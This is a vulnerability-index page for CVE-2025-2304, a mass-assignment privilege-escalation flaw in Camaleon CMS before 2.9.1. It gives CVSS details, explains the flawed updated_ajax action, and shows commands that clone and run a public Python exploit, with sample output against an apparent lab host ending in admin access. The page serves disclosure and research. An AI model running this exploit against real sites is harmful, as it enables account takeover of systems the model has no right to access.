# CVE-2025-2304 - Camaleon CMS (Create Admin User)

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-2304
- **CVE:** CVE-2025-2304
- **GHSA:** GHSA-rp28-mvq3-wf8j
- **CVSS score:** 9.4
- **CVSS vector:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- **Type:** CWE-915
- **Authentication:** None
- **Complexity:** Low
- **Privileges:** Low
- **Affected versions:** < 2.9.1
- **Patched versions:** 2.9.1
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2025-2304 is a privilege-escalation bug in Camaleon CMS caused by mass assignment in the password-change flow: the `updated_ajax` UsersController action uses a permissive `permit!` call, so attacker-supplied fields aren’t properly restricted. An authenticated low-privileged user can abuse this to modify protected account attributes and escalate privileges (e.g., effectively turning themselves into a higher-privilege user/admin), leading to full takeover of the CMS.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Create admin user

**[predyy/CVE-2025-2304](https://github.com/predyy/CVE-2025-2304?utm_source=hackindex)** - Python script to exploit Privilege Escalation in Camaleon CMS.

```bash
git clone https://github.com/predyy/CVE-2025-2304
cd CVE-2025-2304
python3 -m venv .venv
source .venv/bin/activate
pip3 install requests bs4

python3 exp.py http://facts.htb hackindex hackindex
# [*] Logging in as hackindex ...
# [+] Login successful
# [+] Got profile page
# [i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
# [+] authenticity_token: hl5NCx3zaGccGsrK1wcad6m8WCNPMF4L3tec-CSWYJhChP6Gffrguk-RbsLfrCewWZCpGCfidkhmatpJzBBt6w
# http://facts.htb/admin/users/5/updated_ajax
# [*] Submitting password change request
# [+] Submit successful, you should be admin
```